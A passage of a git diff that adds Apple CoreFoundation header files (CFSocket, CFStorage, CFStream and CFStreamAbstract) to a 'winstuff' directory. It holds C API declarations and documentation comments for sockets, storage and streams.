+is invalidated, but it will not be if kCFSocketCloseOnInvalidate is +turned off. This can be useful in order to destroy a CFSocket but +continue to use the underlying native socket. The CFSocket must +still be invalidated when it will no longer be used. Do not in +either case close the underlying native socket without invalidating +the CFSocket. + +Addresses are stored as CFDatas containing a struct sockaddr +appropriate for the protocol family; make sure that all fields are +filled in properly when passing in an address. + +*/ + +/* Values for CFSocketError */ +enum { + kCFSocketSuccess = 0, + kCFSocketError = -1, + kCFSocketTimeout = -2 +}; +typedef CFIndex CFSocketError; + +typedef struct { + SInt32 protocolFamily; + SInt32 socketType; + SInt32 protocol; + CFDataRef address; +} CFSocketSignature; + +/* Values for CFSocketCallBackType */ +enum { + kCFSocketNoCallBack = 0, + kCFSocketReadCallBack = 1, + kCFSocketAcceptCallBack = 2, + kCFSocketDataCallBack = 3, + kCFSocketConnectCallBack = 4 +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED + , + kCFSocketWriteCallBack = 8 +#endif +}; +typedef CFOptionFlags CFSocketCallBackType; + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/* Socket flags */ +enum { + kCFSocketAutomaticallyReenableReadCallBack = 1, + kCFSocketAutomaticallyReenableAcceptCallBack = 2, + kCFSocketAutomaticallyReenableDataCallBack = 3, + kCFSocketAutomaticallyReenableWriteCallBack = 8, + kCFSocketCloseOnInvalidate = 128 +}; +#endif + +typedef void (*CFSocketCallBack)(CFSocketRef s, CFSocketCallBackType type, CFDataRef address, const void *data, void *info); +/* If the callback wishes to keep hold of address or data after the point that it returns, then it must copy them. */ + +typedef struct { + CFIndex version; + void * info; + const void *(*retain)(const void *info); + void (*release)(const void *info); + CFStringRef (*copyDescription)(const void *info); +} CFSocketContext; + +CF_EXPORT CFTypeID CFSocketGetTypeID(void); + +CF_EXPORT CFSocketRef CFSocketCreate(CFAllocatorRef allocator, SInt32 protocolFamily, SInt32 socketType, SInt32 protocol, CFOptionFlags callBackTypes, CFSocketCallBack callout, const CFSocketContext *context); +CF_EXPORT CFSocketRef CFSocketCreateWithNative(CFAllocatorRef allocator, CFSocketNativeHandle sock, CFOptionFlags callBackTypes, CFSocketCallBack callout, const CFSocketContext *context); +CF_EXPORT CFSocketRef CFSocketCreateWithSocketSignature(CFAllocatorRef allocator, const CFSocketSignature *signature, CFOptionFlags callBackTypes, CFSocketCallBack callout, const CFSocketContext *context); +CF_EXPORT CFSocketRef CFSocketCreateConnectedToSocketSignature(CFAllocatorRef allocator, const CFSocketSignature *signature, CFOptionFlags callBackTypes, CFSocketCallBack callout, const CFSocketContext *context, CFTimeInterval timeout); +/* CFSocketCreateWithSignature creates a socket of the requested type and binds its address (using CFSocketSetAddress) to the requested address. If this fails, it returns NULL. CFSocketCreateConnectedToSignature creates a socket suitable for connecting to the requested type and address, and connects it (using CFSocketConnectToAddress). If this fails, it returns NULL. */ + +CF_EXPORT CFSocketError CFSocketSetAddress(CFSocketRef s, CFDataRef address); +CF_EXPORT CFSocketError CFSocketConnectToAddress(CFSocketRef s, CFDataRef address, CFTimeInterval timeout); +CF_EXPORT void CFSocketInvalidate(CFSocketRef s); + +CF_EXPORT Boolean CFSocketIsValid(CFSocketRef s); +CF_EXPORT CFDataRef CFSocketCopyAddress(CFSocketRef s); +CF_EXPORT CFDataRef CFSocketCopyPeerAddress(CFSocketRef s); +CF_EXPORT void CFSocketGetContext(CFSocketRef s, CFSocketContext *context); +CF_EXPORT CFSocketNativeHandle CFSocketGetNative(CFSocketRef s); + +CF_EXPORT CFRunLoopSourceRef CFSocketCreateRunLoopSource(CFAllocatorRef allocator, CFSocketRef s, CFIndex order); + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +CF_EXPORT CFOptionFlags CFSocketGetSocketFlags(CFSocketRef s); +CF_EXPORT void CFSocketSetSocketFlags(CFSocketRef s, CFOptionFlags flags); +CF_EXPORT void CFSocketDisableCallBacks(CFSocketRef s, CFOptionFlags callBackTypes); +CF_EXPORT void CFSocketEnableCallBacks(CFSocketRef s, CFOptionFlags callBackTypes); +#endif + +/* For convenience, a function is provided to send data using the socket with a timeout. The timeout will be used only if the specified value is positive. The address should be left NULL if the socket is already connected. */ +CF_EXPORT CFSocketError CFSocketSendData(CFSocketRef s, CFDataRef address, CFDataRef data, CFTimeInterval timeout); + +/* Generic name registry functionality (CFSocketRegisterValue, +CFSocketCopyRegisteredValue) allows the registration of any property +list type. Functions specific to CFSockets (CFSocketRegisterSocketData, +CFSocketCopyRegisteredSocketData) register a CFData containing the +components of a socket signature (protocol family, socket type, +protocol, and address). In each function the nameServerSignature +may be NULL, or any component of it may be 0, to use default values +(TCP, INADDR_LOOPBACK, port as set). Name registration servers might +not allow registration with other than TCP and INADDR_LOOPBACK. +The actual address of the server responding to a query may be obtained +by using the nameServerAddress argument. This address, the address +returned by CFSocketCopyRegisteredSocketSignature, and the value +returned by CFSocketCopyRegisteredValue must (if non-null) be released +by the caller. CFSocketUnregister removes any registration associated +with the specified name. +*/ + +CF_EXPORT CFSocketError CFSocketRegisterValue(const CFSocketSignature *nameServerSignature, CFTimeInterval timeout, CFStringRef name, CFPropertyListRef value); +CF_EXPORT CFSocketError CFSocketCopyRegisteredValue(const CFSocketSignature *nameServerSignature, CFTimeInterval timeout, CFStringRef name, CFPropertyListRef *value, CFDataRef *nameServerAddress); + +CF_EXPORT CFSocketError CFSocketRegisterSocketSignature(const CFSocketSignature *nameServerSignature, CFTimeInterval timeout, CFStringRef name, const CFSocketSignature *signature); +CF_EXPORT CFSocketError CFSocketCopyRegisteredSocketSignature(const CFSocketSignature *nameServerSignature, CFTimeInterval timeout, CFStringRef name, CFSocketSignature *signature, CFDataRef *nameServerAddress); + +CF_EXPORT CFSocketError CFSocketUnregister(const CFSocketSignature *nameServerSignature, CFTimeInterval timeout, CFStringRef name); + +CF_EXPORT void CFSocketSetDefaultNameRegistryPortNumber(UInt16 port); +CF_EXPORT UInt16 CFSocketGetDefaultNameRegistryPortNumber(void); + +/* Constants used in name registry server communications */ +CF_EXPORT const CFStringRef kCFSocketCommandKey; +CF_EXPORT const CFStringRef kCFSocketNameKey; +CF_EXPORT const CFStringRef kCFSocketValueKey; +CF_EXPORT const CFStringRef kCFSocketResultKey; +CF_EXPORT const CFStringRef kCFSocketErrorKey; +CF_EXPORT const CFStringRef kCFSocketRegisterCommand; +CF_EXPORT const CFStringRef kCFSocketRetrieveCommand; + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSOCKET__ */ + diff --git a/winstuff/CoreFoundation/CFStorage.h b/winstuff/CoreFoundation/CFStorage.h new file mode 100644 index 0000000..91a3694 --- /dev/null +++ b/winstuff/CoreFoundation/CFStorage.h @@ -0,0 +1,230 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFStorage.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ +/*! + @header CFStorage +CFStorage stores an array of arbitrary-sized values. There are no callbacks; +all that is provided about the values is the size, and the appropriate number +of bytes are copied in and out of the CFStorage. + +CFStorage uses a balanced tree to store the values, and is most appropriate +for situations where potentially a large number values (more than a hundred +bytes' worth) will be stored and there will be a lot of editing (insertions and deletions). + +Getting to an item is O(log n), although caching the last result often reduces this +to a constant time. + +The overhead of CFStorage is 48 bytes. There is no per item overhead; the +non-leaf nodes in the tree cost 20 bytes each, and the worst case extra +capacity (unused space in the leaves) is 12%, typically much less. + +Because CFStorage does not necessarily use a single block of memory to store the values, +when you ask for a value, you get back the pointer to the value and optionally +the range of other values that are consecutive and thus reachable as if the +storage was a single block. +*/ + +#if !defined(__COREFOUNDATION_CFSTORAGE__) +#define __COREFOUNDATION_CFSTORAGE__ 1 + +#include + +CF_EXTERN_C_BEGIN + +/*! + @typedef CFStorageRef + This is the type of a reference to a CFStorage instance. +*/ +typedef struct __CFStorage *CFStorageRef; + +/*! + @typedef CFStorageApplierFunction + Type of the callback function used by the apply functions of + CFStorage. + @param value The current value from the storage. + @param context The user-defined context parameter given to the apply + function. +*/ +typedef void (*CFStorageApplierFunction)(const void *val, void *context); + +/*! + @function CFStorageGetTypeID + Returns the type identifier of all CFStorage instances. +*/ +CF_EXPORT CFTypeID CFStorageGetTypeID(void); + +/*! + @function CFStorageCreate + Creates a new mutable storage with elements of the given size. + @param alloc The CFAllocator which should be used to allocate + memory for the set and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param valueSizeInBytes The size in bytes of each of the elements + to be stored in the storage. If this value is zero or + negative, the result is undefined. + @result A reference to the new CFStorage instance. +*/ +CF_EXPORT CFStorageRef CFStorageCreate(CFAllocatorRef alloc, CFIndex valueSizeInBytes); + +/*! + @function CFStorageInsertValues + Allocates space for range.length values at location range.location. Use + CFStorageReplaceValues() to set those values. + @param storage The storage to which the values are to be inserted. + If this parameter is not a valid CFStorage, the behavior is undefined. + @param range The range of values within the storage to delete. If the + range location or end point (defined by the location plus + length minus 1) are outside the index space of the storage (0 + to N inclusive, where N is the count of the storage), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0), + in which case the no values are inserted. +*/ +CF_EXPORT void CFStorageInsertValues(CFStorageRef storage, CFRange range); + +/*! + @function CFStorageDeleteValues + Deletes the values of the storage in the specified range. + @param storage The storage from which the values are to be deleted. + If this parameter is not a valid CFStorage, the behavior is undefined. + @param range The range of values within the storage to delete. If the + range location or end point (defined by the location plus + length minus 1) are outside the index space of the storage (0 + to N inclusive, where N is the count of the storage), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0), + in which case the no values are deleted. +*/ +CF_EXPORT void CFStorageDeleteValues(CFStorageRef storage, CFRange range); + +/*! + @function CFStorageGetCount + Returns the number of values currently in the storage. + @param storage The storage to be queried. If this parameter is not a valid + CFStorage, the behavior is undefined. + @result The number of values in the storage. +*/ +CF_EXPORT CFIndex CFStorageGetCount(CFStorageRef storage); + +/*! + @function CFStorageGetValueAtIndex + Returns a pointer to the specified value. The pointer is mutable and may be used to + get or set the value. + @param storage The storage to be queried. If this parameter is not a + valid CFStorage, the behavior is undefined. + @param idx The index of the value to retrieve. If the index is + outside the index space of the storage (0 to N-1 inclusive, + where N is the count of the storage), the behavior is + undefined. + @param validConsecutiveValueRange This parameter is a C pointer to a CFRange. + If NULL is specified, this argument is ignored; otherwise, the range + is set to the range of values that may be accessed via an offset from the result pointer. + The range location is set to the index of the lowest consecutive + value and the range length is set to the count of consecutive values. + @result The value with the given index in the storage. +*/ +CF_EXPORT void *CFStorageGetValueAtIndex(CFStorageRef storage, CFIndex idx, CFRange *validConsecutiveValueRange); + +/*! + @function CFStorageGetValues + Fills the buffer with values from the storage. + @param storage The storage to be queried. If this parameter is not a + valid CFStorage, the behavior is undefined. + @param range The range of values within the storage to retrieve. If + the range location or end point (defined by the location + plus length minus 1) are outside the index space of the + storage (0 to N-1 inclusive, where N is the count of the + storage), the behavior is undefined. If the range length is + negative, the behavior is undefined. The range may be empty + (length 0), in which case no values are put into the buffer. + @param values A C array of to be filled with values from the storage. + The values in the C array are ordered + in the same order in which they appear in the storage. If this + parameter is not a valid pointer to a C array of at least + range.length pointers, the behavior is undefined. +*/ +CF_EXPORT void CFStorageGetValues(CFStorageRef storage, CFRange range, void *values); + +/*! + @function CFStorageApplyFunction + Calls a function once for each value in the set. + @param storage The storage to be operated upon. If this parameter is not + a valid CFStorage, the behavior is undefined. + @param range The range of values within the storage to operate on. If the + range location or end point (defined by the location plus + length minus 1) are outside the index space of the storage (0 + to N inclusive, where N is the count of the storage), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0), + in which case the no values are operated on. + @param applier The callback function to call once for each value in + the given storage. If this parameter is not a + pointer to a function of the correct prototype, the behavior + is undefined. If there are values in the storage which the + applier function does not expect or cannot properly apply + to, the behavior is undefined. + @param context A pointer-sized user-defined value, which is passed + as the second parameter to the applier function, but is + otherwise unused by this function. If the context is not + what is expected by the applier function, the behavior is + undefined. +*/ +CF_EXPORT void CFStorageApplyFunction(CFStorageRef storage, CFRange range, CFStorageApplierFunction applier, void *context); + +/*! + @function CFStorageReplaceValues + Replaces a range of values in the storage. + @param storage The storage from which the specified values are to be + removed. If this parameter is not a valid CFStorage, + the behavior is undefined. + @param range The range of values within the storage to replace. If the + range location or end point (defined by the location plus + length minus 1) are outside the index space of the storage (0 + to N inclusive, where N is the count of the storage), the + behavior is undefined. If the range length is negative, the + behavior is undefined. The range may be empty (length 0), + in which case the new values are merely inserted at the + range location. + @param values A C array of the values to be copied into the storage. + The new values in the storage are ordered in the same order + in which they appear in this C array. This parameter may be NULL + if the range length is 0. This C array is not changed or freed by + this function. If this parameter is not a valid pointer to a C array of at least + range length pointers, the behavior is undefined. +*/ +CF_EXPORT void CFStorageReplaceValues(CFStorageRef storage, CFRange range, const void *values); + +/* Private stuff... +*/ +CF_EXPORT CFIndex __CFStorageGetCapacity(CFStorageRef storage); +CF_EXPORT CFIndex __CFStorageGetValueSize(CFStorageRef storage); + + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTORAGE__ */ + diff --git a/winstuff/CoreFoundation/CFStream.h b/winstuff/CoreFoundation/CFStream.h new file mode 100644 index 0000000..ff944ea --- /dev/null +++ b/winstuff/CoreFoundation/CFStream.h @@ -0,0 +1,267 @@ +/* CFStream.h + Copyright (c) 2000-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSTREAM__) +#define __COREFOUNDATION_CFSTREAM__ 1 + +#include +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +enum { + kCFStreamStatusNotOpen = 0, + kCFStreamStatusOpening, /* open is in-progress */ + kCFStreamStatusOpen, + kCFStreamStatusReading, + kCFStreamStatusWriting, + kCFStreamStatusAtEnd, /* no further bytes can be read/written */ + kCFStreamStatusClosed, + kCFStreamStatusError +}; +typedef CFIndex CFStreamStatus; + +enum { + kCFStreamEventNone = 0, + kCFStreamEventOpenCompleted = 1, + kCFStreamEventHasBytesAvailable = 2, + kCFStreamEventCanAcceptBytes = 4, + kCFStreamEventErrorOccurred = 8, + kCFStreamEventEndEncountered = 16 +}; +typedef CFOptionFlags CFStreamEventType; + +typedef struct { + CFIndex version; + void *info; + void *(*retain)(void *info); + void (*release)(void *info); + CFStringRef (*copyDescription)(void *info); +} CFStreamClientContext; + +typedef struct __CFReadStream * CFReadStreamRef; +typedef struct __CFWriteStream * CFWriteStreamRef; + +typedef void (*CFReadStreamClientCallBack)(CFReadStreamRef stream, CFStreamEventType type, void *clientCallBackInfo); +typedef void (*CFWriteStreamClientCallBack)(CFWriteStreamRef stream, CFStreamEventType type, void *clientCallBackInfo); + +CF_EXPORT +CFTypeID CFReadStreamGetTypeID(void); +CF_EXPORT +CFTypeID CFWriteStreamGetTypeID(void); + +/* Memory streams */ + +/* Value will be a CFData containing all bytes thusfar written; used to recover the data written to a memory write stream. */ +CF_EXPORT +const CFStringRef kCFStreamPropertyDataWritten; + +/* Pass kCFAllocatorNull for bytesDeallocator to prevent CFReadStream from deallocating bytes; otherwise, CFReadStream will deallocate bytes when the stream is destroyed */ +CF_EXPORT +CFReadStreamRef CFReadStreamCreateWithBytesNoCopy(CFAllocatorRef alloc, const UInt8 *bytes, CFIndex length, CFAllocatorRef bytesDeallocator); + +/* The stream writes into the buffer given; when bufferCapacity is exhausted, the stream is exhausted (status becomes kCFStreamStatusAtEnd) */ +CF_EXPORT +CFWriteStreamRef CFWriteStreamCreateWithBuffer(CFAllocatorRef alloc, UInt8 *buffer, CFIndex bufferCapacity); + +/* New buffers are allocated from bufferAllocator as bytes are written to the stream. At any point, you can recover the bytes thusfar written by asking for the property kCFStreamPropertyDataWritten, above */ +CF_EXPORT +CFWriteStreamRef CFWriteStreamCreateWithAllocatedBuffers(CFAllocatorRef alloc, CFAllocatorRef bufferAllocator); + +/* File streams */ +CF_EXPORT +CFReadStreamRef CFReadStreamCreateWithFile(CFAllocatorRef alloc, CFURLRef fileURL); +CF_EXPORT +CFWriteStreamRef CFWriteStreamCreateWithFile(CFAllocatorRef alloc, CFURLRef fileURL); +CF_EXPORT +void CFStreamCreateBoundPair(CFAllocatorRef alloc, CFReadStreamRef *readStream, CFWriteStreamRef *writeStream, CFIndex transferBufferSize); + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/* Property for file write streams; value should be a CFBoolean. Set to TRUE to append to a file, rather than to replace its contents */ +CF_EXPORT +const CFStringRef kCFStreamPropertyAppendToFile; +#endif + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED + +CF_EXPORT const CFStringRef kCFStreamPropertyFileCurrentOffset AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; // Value is a CFNumber + +#endif + +/* Socket stream properties */ + +/* Value will be a CFData containing the native handle */ +CF_EXPORT +const CFStringRef kCFStreamPropertySocketNativeHandle; + +/* Value will be a CFString, or NULL if unknown */ +CF_EXPORT +const CFStringRef kCFStreamPropertySocketRemoteHostName; + +/* Value will be a CFNumber, or NULL if unknown */ +CF_EXPORT +const CFStringRef kCFStreamPropertySocketRemotePortNumber; + +/* Socket streams; the returned streams are paired such that they use the same socket; pass NULL if you want only the read stream or the write stream */ +CF_EXPORT +void CFStreamCreatePairWithSocket(CFAllocatorRef alloc, CFSocketNativeHandle sock, CFReadStreamRef *readStream, CFWriteStreamRef *writeStream); +CF_EXPORT +void CFStreamCreatePairWithSocketToHost(CFAllocatorRef alloc, CFStringRef host, UInt32 port, CFReadStreamRef *readStream, CFWriteStreamRef *writeStream); +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +CF_EXPORT +void CFStreamCreatePairWithPeerSocketSignature(CFAllocatorRef alloc, const CFSocketSignature *signature, CFReadStreamRef *readStream, CFWriteStreamRef *writeStream); +#endif + + +/* Returns the current state of the stream */ +CF_EXPORT +CFStreamStatus CFReadStreamGetStatus(CFReadStreamRef stream); +CF_EXPORT +CFStreamStatus CFWriteStreamGetStatus(CFWriteStreamRef stream); + +/* Returns NULL if no error has occurred; otherwise returns the error. */ +CF_EXPORT +CFErrorRef CFReadStreamCopyError(CFReadStreamRef stream) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; +CF_EXPORT +CFErrorRef CFWriteStreamCopyError(CFWriteStreamRef stream) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/* Returns success/failure. Opening a stream causes it to reserve all the system + resources it requires. If the stream can open non-blocking, this will always + return TRUE; listen to the run loop source to find out when the open completes + and whether it was successful, or poll using CFRead/WriteStreamGetStatus(), waiting + for a status of kCFStreamStatusOpen or kCFStreamStatusError. */ +CF_EXPORT +Boolean CFReadStreamOpen(CFReadStreamRef stream); +CF_EXPORT +Boolean CFWriteStreamOpen(CFWriteStreamRef stream); + +/* Terminates the flow of bytes; releases any system resources required by the + stream. The stream may not fail to close. You may call CFStreamClose() to + effectively abort a stream. */ +CF_EXPORT +void CFReadStreamClose(CFReadStreamRef stream); +CF_EXPORT +void CFWriteStreamClose(CFWriteStreamRef stream); + +/* Whether there is data currently available for reading; returns TRUE if it's + impossible to tell without trying */ +CF_EXPORT +Boolean CFReadStreamHasBytesAvailable(CFReadStreamRef stream); + +/* Returns the number of bytes read, or -1 if an error occurs preventing any + bytes from being read, or 0 if the stream's end was encountered. + It is an error to try and read from a stream that hasn't been opened first. + This call will block until at least one byte is available; it will NOT block + until the entire buffer can be filled. To avoid blocking, either poll using + CFReadStreamHasBytesAvailable() or use the run loop and listen for the + kCFStreamCanRead event for notification of data available. */ +CF_EXPORT +CFIndex CFReadStreamRead(CFReadStreamRef stream, UInt8 *buffer, CFIndex bufferLength); + +/* Returns a pointer to an internal buffer if possible (setting *numBytesRead + to the length of the returned buffer), otherwise returns NULL; guaranteed + to return in O(1). Bytes returned in the buffer are considered read from + the stream; if maxBytesToRead is greater than 0, not more than maxBytesToRead + will be returned. If maxBytesToRead is less than or equal to zero, as many bytes + as are readily available will be returned. The returned buffer is good only + until the next stream operation called on the stream. Caller should neither + change the contents of the returned buffer nor attempt to deallocate the buffer; + it is still owned by the stream. */ +CF_EXPORT +const UInt8 *CFReadStreamGetBuffer(CFReadStreamRef stream, CFIndex maxBytesToRead, CFIndex *numBytesRead); + +/* Whether the stream can currently be written to without blocking; + returns TRUE if it's impossible to tell without trying */ +CF_EXPORT +Boolean CFWriteStreamCanAcceptBytes(CFWriteStreamRef stream); + +/* Returns the number of bytes successfully written, -1 if an error has + occurred, or 0 if the stream has been filled to capacity (for fixed-length + streams). If the stream is not full, this call will block until at least + one byte is written. To avoid blocking, either poll via CFWriteStreamCanAcceptBytes + or use the run loop and listen for the kCFStreamCanWrite event. */ +CF_EXPORT +CFIndex CFWriteStreamWrite(CFWriteStreamRef stream, const UInt8 *buffer, CFIndex bufferLength); + +/* Particular streams can name properties and assign meanings to them; you + access these properties through the following calls. A property is any interesting + information about the stream other than the data being transmitted itself. + Examples include the headers from an HTTP transmission, or the expected + number of bytes, or permission information, etc. Properties that can be set + configure the behavior of the stream, and may only be settable at particular times + (like before the stream has been opened). See the documentation for particular + properties to determine their get- and set-ability. */ +CF_EXPORT +CFTypeRef CFReadStreamCopyProperty(CFReadStreamRef stream, CFStringRef propertyName); +CF_EXPORT +CFTypeRef CFWriteStreamCopyProperty(CFWriteStreamRef stream, CFStringRef propertyName); + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/* Returns TRUE if the stream recognizes and accepts the given property-value pair; + FALSE otherwise. */ +CF_EXPORT +Boolean CFReadStreamSetProperty(CFReadStreamRef stream, CFStringRef propertyName, CFTypeRef propertyValue); +CF_EXPORT +Boolean CFWriteStreamSetProperty(CFWriteStreamRef stream, CFStringRef propertyName, CFTypeRef propertyValue); +#endif + +/* Asynchronous processing - If you wish to neither poll nor block, you may register + a client to hear about interesting events that occur on a stream. Only one client + per stream is allowed; registering a new client replaces the previous one. + + Once you have set a client, you need to schedule a run loop on which that client + can be notified. You may schedule multiple run loops (for instance, if you are + using a thread pool). The client callback will be triggered via one of the scheduled + run loops; It is the caller's responsibility to ensure that at least one of the + scheduled run loops is being run. + + NOTE: Unlike other CoreFoundation APIs, pasing a NULL clientContext here will remove + the client. If you do not care about the client context (i.e. your only concern + is that your callback be called), you should pass in a valid context where every + entry is 0 or NULL. + +*/ + +CF_EXPORT +Boolean CFReadStreamSetClient(CFReadStreamRef stream, CFOptionFlags streamEvents, CFReadStreamClientCallBack clientCB, CFStreamClientContext *clientContext); +CF_EXPORT +Boolean CFWriteStreamSetClient(CFWriteStreamRef stream, CFOptionFlags streamEvents, CFWriteStreamClientCallBack clientCB, CFStreamClientContext *clientContext); + +CF_EXPORT +void CFReadStreamScheduleWithRunLoop(CFReadStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode); +CF_EXPORT +void CFWriteStreamScheduleWithRunLoop(CFWriteStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode); + +CF_EXPORT +void CFReadStreamUnscheduleFromRunLoop(CFReadStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode); +CF_EXPORT +void CFWriteStreamUnscheduleFromRunLoop(CFWriteStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode); + + +/* The following API is deprecated starting in 10.5; please use CFRead/WriteStreamCopyError(), above, instead */ +enum { + kCFStreamErrorDomainCustom = -1, /* custom to the kind of stream in question */ + kCFStreamErrorDomainPOSIX = 1, /* POSIX errno; interpret using */ + kCFStreamErrorDomainMacOSStatus /* OSStatus type from Carbon APIs; interpret using */ +}; +typedef CFIndex CFStreamErrorDomain; + +typedef struct { + CFIndex domain; + SInt32 error; +} CFStreamError; +CF_EXPORT +CFStreamError CFReadStreamGetError(CFReadStreamRef stream); +CF_EXPORT +CFStreamError CFWriteStreamGetError(CFWriteStreamRef stream); + + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTREAM__ */ diff --git a/winstuff/CoreFoundation/CFStreamAbstract.h b/winstuff/CoreFoundation/CFStreamAbstract.h new file mode 100644 index 0000000..b36fe11 --- /dev/null +++ b/winstuff/CoreFoundation/CFStreamAbstract.h @@ -0,0 +1,204 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFStreamAbstract.h + Copyright (c) 2000-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSTREAMABSTRACT__) +#define __COREFOUNDATION_CFSTREAMABSTRACT__ 1 + +#include + +CF_EXTERN_C_BEGIN + +/* During a stream's lifetime, the open callback will be called once, followed by any number of openCompleted calls (until openCompleted returns TRUE). Then any number of read/canRead or write/canWrite calls, then a single close call. copyProperty can be called at any time. prepareAsynch will be called exactly once when the stream's client is first configured. + + Expected semantics: + - open reserves any system resources that are needed. The stream may start the process of opening, returning TRUE immediately and setting openComplete to FALSE. When the open completes, _CFStreamSignalEvent should be called passing kCFStreamOpenCompletedEvent. openComplete should be set to TRUE only if the open operation completed in its entirety. + - openCompleted will only be called after open has been called, but before any kCFStreamOpenCompletedEvent has been received. Return TRUE, setting error.code to 0, if the open operation has completed. Return TRUE, setting error to the correct error code and domain if the open operation completed, but failed. Return FALSE if the open operation is still in-progress. If your open ever fails to complete (i.e. sets openComplete to FALSE), you must be implement the openCompleted callback. + - read should read into the given buffer, returning the number of bytes successfully read. read must block until at least one byte is available, but should not block until the entire buffer is filled; zero should only be returned if end-of-stream is encountered. atEOF should be set to true if the EOF is encountered, false otherwise. error.code should be set to zero if no error occurs; otherwise, error should be set to the appropriate values. + - getBuffer is an optimization to return an internal buffer of bytes read from the stream, and may return NULL. getBuffer itself may be NULL if the concrete implementation does not wish to provide an internal buffer. If implemented, it should set numBytesRead to the number of bytes available in the internal buffer (but should not exceed maxBytesToRead) and return a pointer to the base of the bytes. + - canRead will only be called once openCompleted reports that the stream has been successfully opened (or the initial open call succeeded). It should return whether there are bytes that can be read without blocking. + - write should write the bytes in the given buffer to the device, returning the number of bytes successfully written. write must block until at least one byte is written. error.code should be set to zero if no error occurs; otherwise, error should be set to the appropriate values. + - close should close the device, releasing any reserved system resources. close cannot fail (it may be called to abort the stream), and may be called at any time after open has been called. It will only be called once. + - copyProperty should return the value for the given property, or NULL if none exists. Composite streams (streams built on top of other streams) should take care to call CFStreamCopyProperty on the base stream if they do not recognize the property given, to give the underlying stream a chance to respond. + + In all cases, errors returned by reference will be initialized to NULL by the caller, and if they are set to non-NULL, will + be released by the caller +*/ + +typedef struct { + CFIndex version; /* == 2 */ + + void *(*create)(CFReadStreamRef stream, void *info); + void (*finalize)(CFReadStreamRef stream, void *info); + CFStringRef (*copyDescription)(CFReadStreamRef stream, void *info); + + Boolean (*open)(CFReadStreamRef stream, CFErrorRef *error, Boolean *openComplete, void *info); + Boolean (*openCompleted)(CFReadStreamRef stream, CFErrorRef *error, void *info); + CFIndex (*read)(CFReadStreamRef stream, UInt8 *buffer, CFIndex bufferLength, CFErrorRef *error, Boolean *atEOF, void *info); + const UInt8 *(*getBuffer)(CFReadStreamRef stream, CFIndex maxBytesToRead, CFIndex *numBytesRead, CFErrorRef *error, Boolean *atEOF, void *info); + Boolean (*canRead)(CFReadStreamRef stream, CFErrorRef *error, void *info); + void (*close)(CFReadStreamRef stream, void *info); + + CFTypeRef (*copyProperty)(CFReadStreamRef stream, CFStringRef propertyName, void *info); + Boolean (*setProperty)(CFReadStreamRef stream, CFStringRef propertyName, CFTypeRef propertyValue, void *info); + + void (*requestEvents)(CFReadStreamRef stream, CFOptionFlags streamEvents, void *info); + void (*schedule)(CFReadStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); + void (*unschedule)(CFReadStreamRef stream, CFRunLoopRef runLoop, CFStringRef runLoopMode, void *info); +} CFReadStreamCallBacks; + +typedef struct { + CFIndex version; /* == 2 */ + + void *(*create)(CFWriteStreamRef stream, void *info); + void 